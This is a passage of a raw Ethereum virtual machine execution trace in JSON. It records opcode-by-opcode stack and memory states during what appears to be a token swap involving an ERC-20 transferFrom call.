000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":11905,"op":"POP","gas":79559,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":11906,"op":"POP","gas":79557,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":11907,"op":"POP","gas":79555,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":11908,"op":"JUMP","gas":79553,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":11903,"op":"JUMPDEST","gas":79545,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":11904,"op":"POP","gas":79544,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":11905,"op":"POP","gas":79542,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":11906,"op":"POP","gas":79540,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":11907,"op":"POP","gas":79538,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":11908,"op":"JUMP","gas":79536,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":3053,"op":"JUMPDEST","gas":79528,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":3054,"op":"PUSH2","gas":79527,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":3057,"op":"DUP3","gas":79524,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":3058,"op":"DUP8","gas":79521,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":3059,"op":"DUP8","gas":79518,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0xc4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":3060,"op":"DUP1","gas":79515,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0xc4","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","000000000000000000000000000000000000000000000000000000